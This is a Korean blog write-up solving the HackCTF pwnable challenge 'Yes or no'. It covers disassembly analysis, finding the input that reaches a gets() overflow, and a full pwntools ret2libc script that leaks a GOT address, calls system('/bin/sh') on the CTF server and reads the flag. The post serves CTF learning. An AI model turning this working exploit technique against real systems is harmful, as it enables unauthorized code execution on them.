시작
안녕하세요 :D
어제 쓰다 말았던 HackCTF Write up이에요.
150점 짜리 문제 중 마지막 10번 문제, Yes or no!! 시작해봐요.
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# ./yes_or_no
Show me your number~!
0
Sorry. You can't come with us
숫자 하나를 달라고 해서 주니깐
함께 갈 수 없다며 매정하게 종료하네요.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
NX만 켜져있습니다. 쉘코드는 못쓰겠네요.
gdb-peda$ pd main
Dump of assembler code for function main:
0x00000000004006c7 <+0>: push rbp
0x00000000004006c8 <+1>: mov rbp,rsp
0x00000000004006cb <+4>: sub rsp,0x20
0x00000000004006cf <+8>: mov rax,QWORD PTR [rip+0x20098a] # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006d6 <+15>: mov ecx,0x0
0x00000000004006db <+20>: mov edx,0x2
0x00000000004006e0 <+25>: mov esi,0x0
0x00000000004006e5 <+30>: mov rdi,rax
0x00000000004006e8 <+33>: call 0x4005c0 <setvbuf@plt>
0x00000000004006ed <+38>: mov DWORD PTR [rbp-0x4],0x5
0x00000000004006f4 <+45>: lea rdi,[rip+0x1ad] # 0x4008a8
0x00000000004006fb <+52>: call 0x400580 <puts@plt>
0x0000000000400700 <+57>: mov rdx,QWORD PTR [rip+0x200969] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400707 <+64>: lea rax,[rbp-0x12]
0x000000000040070b <+68>: mov esi,0xa
0x0000000000400710 <+73>: mov rdi,rax
0x0000000000400713 <+76>: call 0x4005a0 <fgets@plt>
0x0000000000400718 <+81>: lea rax,[rbp-0x12]
0x000000000040071c <+85>: mov rdi,rax
0x000000000040071f <+88>: mov eax,0x0
0x0000000000400724 <+93>: call 0x4005d0 <atoi@plt>
0x0000000000400729 <+98>: mov DWORD PTR [rbp-0x8],eax
0x000000000040072c <+101>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040072f <+104>: sub eax,0xa
0x0000000000400732 <+107>: sar eax,0x3
0x0000000000400735 <+110>: test eax,eax
0x0000000000400737 <+112>: js 0x40074b <main+132>
0x0000000000400739 <+114>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040073c <+117>: lea edx,[rax+0x1]
0x000000000040073f <+120>: mov DWORD PTR [rbp-0x4],edx
0x0000000000400742 <+123>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400745 <+126>: sub edx,eax
0x0000000000400747 <+128>: mov eax,edx
0x0000000000400749 <+130>: jmp 0x400750 <main+137>
0x000000000040074b <+132>: mov eax,0x0
0x0000000000400750 <+137>: cmp eax,DWORD PTR [rbp-0x8]
0x0000000000400753 <+140>: jne 0x400766 <main+159>
0x0000000000400755 <+142>: lea rdi,[rip+0x162] # 0x4008be
0x000000000040075c <+149>: call 0x400580 <puts@plt>
0x0000000000400761 <+154>: jmp 0x40080a <main+323>
0x0000000000400766 <+159>: add DWORD PTR [rbp-0x4],0x1
0x000000000040076a <+163>: mov eax,0x4b4
0x000000000040076f <+168>: cdq
0x0000000000400770 <+169>: idiv DWORD PTR [rbp-0x4]
0x0000000000400773 <+172>: mov ecx,eax
0x0000000000400775 <+174>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400778 <+177>: lea edx,[rax+0x1]
0x000000000040077b <+180>: mov DWORD PTR [rbp-0x4],edx
0x000000000040077e <+183>: mov esi,ecx
0x0000000000400780 <+185>: imul esi,eax
0x0000000000400783 <+188>: add DWORD PTR [rbp-0x4],0x1
0x0000000000400787 <+192>: mov ecx,DWORD PTR [rbp-0x4]
0x000000000040078a <+195>: mov edx,0x66666667
0x000000000040078f <+200>: mov eax,ecx
0x0000000000400791 <+202>: imul edx
0x0000000000400793 <+204>: sar edx,0x3
0x0000000000400796 <+207>: mov eax,ecx
0x0000000000400798 <+209>: sar eax,0x1f
0x000000000040079b <+212>: sub edx,eax
0x000000000040079d <+214>: mov eax,edx
0x000000000040079f <+216>: shl eax,0x2
0x00000000004007a2 <+219>: add eax,edx
0x00000000004007a4 <+221>: shl eax,0x2
0x00000000004007a7 <+224>: sub ecx,eax
0x00000000004007a9 <+226>: mov edx,ecx
0x00000000004007ab <+228>: lea eax,[rdx+0x5]
0x00000000004007ae <+231>: mov ecx,eax
0x00000000004007b0 <+233>: shl esi,cl
0x00000000004007b2 <+235>: mov eax,esi
0x00000000004007b4 <+237>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007b7 <+240>: jne 0x4007d8 <main+273>
0x00000000004007b9 <+242>: lea rdi,[rip+0x11c] # 0x4008dc
0x00000000004007c0 <+249>: call 0x400580 <puts@plt>
0x00000000004007c5 <+254>: lea rax,[rbp-0x12]
0x00000000004007c9 <+258>: mov rdi,rax
0x00000000004007cc <+261>: mov eax,0x0
0x00000000004007d1 <+266>: call 0x4005b0 <gets@plt>
0x00000000004007d6 <+271>: jmp 0x40080a <main+323>
0x00000000004007d8 <+273>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004007db <+276>: lea edx,[rax-0x1]
0x00000000004007de <+279>: mov DWORD PTR [rbp-0x4],edx
0x00000000004007e1 <+282>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007e4 <+285>: jne 0x4007fe <main+311>
0x00000000004007e6 <+287>: lea rdi,[rip+0x106] # 0x4008f3
0x00000000004007ed <+294>: mov eax,0x0
0x00000000004007f2 <+299>: call 0x400590 <printf@plt>
0x00000000004007f7 <+304>: mov eax,0x0
0x00000000004007fc <+309>: jmp 0x40080f <main+328>
0x00000000004007fe <+311>: lea rdi,[rip+0x103] # 0x400908
0x0000000000400805 <+318>: call 0x400580 <puts@plt>
0x000000000040080a <+323>: mov eax,0x0
0x000000000040080f <+328>: leave
0x0000000000400810 <+329>: ret
End of assembler dump.
main() 함수입니다.
첫 fgets()에선 BOF가 발생하지 않으니, main+266 부분의 gets()로 이동해야 할 것 같아요.
fgets() 함수에 1을 주고 분기점인 main+237 부분에서 레지스터를 확인해봅시다.
gdb-peda$ x/wx $rbp-0x8
0x7ffd1eb2b5f8: 0x00000001
gdb-peda$ x/wx $eax
0x960000: Cannot access memory at address 0x960000
eax 레지스터는 0x960000, rbp-0x8 위치에는 0x1이 들어가네요.
조금 더 큰 수를 줘볼까요? 9000000을 입력해봅시다.
gdb-peda$ x/wx $rbp-0x8
0x7ffce3520558: 0x00895440
gdb-peda$ x/wx $eax
0x960000: Cannot access memory at address 0x960000
rbp-0x8 값이 0x895440까지 올라왔네요!!
저 복잡한 어셈블리 연산은 머리아프니깐 브루트포싱으로 다 때려박아봤더니 ㅎㅎ..
9830400 값을 주면 딱 0x960000이 들어갑니다.
gdb-peda$ r
Starting program: /workspace/LCH_Server/HackCTF/10.Yes_or_No/yes_or_no
warning: Error disabling address space randomization: 명령을 허용하지 않음
Show me your number~!
9830400
.
.
gdb-peda$ x/wx $rbp-0x8
0x7ffc43fd26c8: 0x00960000
gdb-peda$ x/wx $eax
0x960000: Cannot access memory at address 0x960000
이제 gets()를 사용할 수 있게 되었네요.
0x00000000004007c5 <+254>: lea rax,[rbp-0x12]
0x00000000004007c9 <+258>: mov rdi,rax
0x00000000004007cc <+261>: mov eax,0x0
0x00000000004007d1 <+266>: call 0x4005b0 <gets@plt>
0x00000000004007d6 <+271>: jmp 0x40080a <main+323>
rbp-0x12 주소부터 버퍼가 시작되네요.
64bit니깐 16 + 8 + RET 구조가 되겠습니다.
그런데 쉘코드도 사용할 수 없고, 마땅히 leak된 주소가 없네요.
printf() 함수를 써서 got 하나를 leak 해옵시다.
그 후로 main()의 처음으로 돌아가서 다시 9830400을 주고, gets()를 불러서 RTL 써주면 될 것 같아요.
주어진 가젯은 다음과 같습니다.
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# rp-lin-x64 -f ./yes_or_no -r 4 | grep "pop rdi"
0x00400883: pop rdi ; ret ; (1 found)
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# rp-lin-x64 -f ./yes_or_no -r 4 | grep "pop rsi"
0x00400881: pop rsi ; pop r15 ; ret ; (1 found)
libc도 줬으니 offset은 쉽게 구할 수 있어요.
저는 printf() 함수로 atoi()의 got를 leak 후 main으로 돌아가 system(“/bin/sh”)를 부르는 시나리오를 짰습니다.
코드는 아래와 같아요.
from pwn import *
context.log_level = "debug"
#p = process("./yes_or_no")
p = remote("ctf.j0n9hyun.xyz", 3009)
payload = ""
pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
printf_plt = 0x400590
atoi_got = 0x601040
main = 0x4006c7
system_offset = 0xe510
binsh_offset = 0x155ed7
p.recvuntil("number~!\n")
p.sendline("9830400")
p.recvuntil("me\n")
payload += "A" * 26
payload += p64(pop_rdi)
payload += p64(atoi_got)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(main)
p.sendline(payload)
libc_atoi = p.recv(1024)
libc_atoi = libc_atoi[:6]
log.info("libc_atoi = 0x" + libc_atoi[::-1].encode("hex"))
libc_atoi = int(libc_atoi[::-1].encode("hex"), 16)
system = libc_atoi + system_offset
binsh = libc_atoi + binsh_offset
log.info("system_addr = " + hex(system))
log.info("binsh_addr = " + hex(binsh))
p.sendline("9830400")
p.recvuntil("me\n")
exploit = ""
exploit += "A" * 26
exploit += p64(pop_rdi)
exploit += p64(binsh)
exploit += p64(pop_rsi_r15)
exploit += p64(0)
exploit += p64(0)
exploit += p64(system)
p.sendline(exploit)
p.interactive()
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# python ex.py
[+] Opening connection to ctf.j0n9hyun.xyz on port 3009: Done
[DEBUG] Received 0x15 bytes:
'Show me your number~!'
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x8 bytes:
'9830400\n'
[DEBUG] Received 0x16 bytes:
"That's cool. Follow me"
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x63 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 83 08 40 00 00 00 │AAAA│AAAA│AA··│@···│
00000020 00 00 40 10 60 00 00 00 00 00 81 08 40 00 00 00 │··@·│`···│····│@···│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 90 05 40 00 00 00 00 00 83 08 40 00 00 00 │····│@···│····│@···│
00000050 00 00 00 00 00 00 00 00 00 00 c7 06 40 00 00 00 │····│····│····│@···│
00000060 00 00 0a │···│
00000063
[DEBUG] Received 0x6 bytes:
00000000 80 ae f7 81 a8 7f │····│··│
00000006
[*] libc_atoi = 0x7fa881f7ae80
[*] system_addr = 0x7fa881f89390
[*] binsh_addr = 0x7fa8820d0d57
[DEBUG] Sent 0x8 bytes:
'9830400\n'
[DEBUG] Received 0x16 bytes:
'Show me your number~!\n'
[DEBUG] Received 0x17 bytes:
"That's cool. Follow me\n"
[DEBUG] Sent 0x4b bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 83 08 40 00 00 00 │AAAA│AAAA│AA··│@···│
00000020 00 00 57 0d 0d 82 a8 7f 00 00 81 08 40 00 00 00 │··W·│····│····│@···│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 90 93 f8 81 a8 7f 00 00 0a │····│····│···│
0000004b
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0xa bytes:
'flag\n'
'main\n'
flag
main
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2c bytes:
///flag!!
Exploit!!
마무리
몇 달 전에 푼 CTF 문제에서 leak을 한 후 main으로 돌아가는 익스 코드를 깃헙에서 봐서, 유용하게 써먹었습니다.
이제 200점짜리 문제들로 가봐요!!
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Random Key (0) | 2019.09.22 |
---|---|
[HackCTF] 1996 (0) | 2019.09.22 |
[HackCTF] Poet (0) | 2019.09.22 |
[HackCTF] RTL_World (0) | 2019.09.19 |
[HackCTF] 1 ~ 9번 문제 (1) | 2019.09.18 |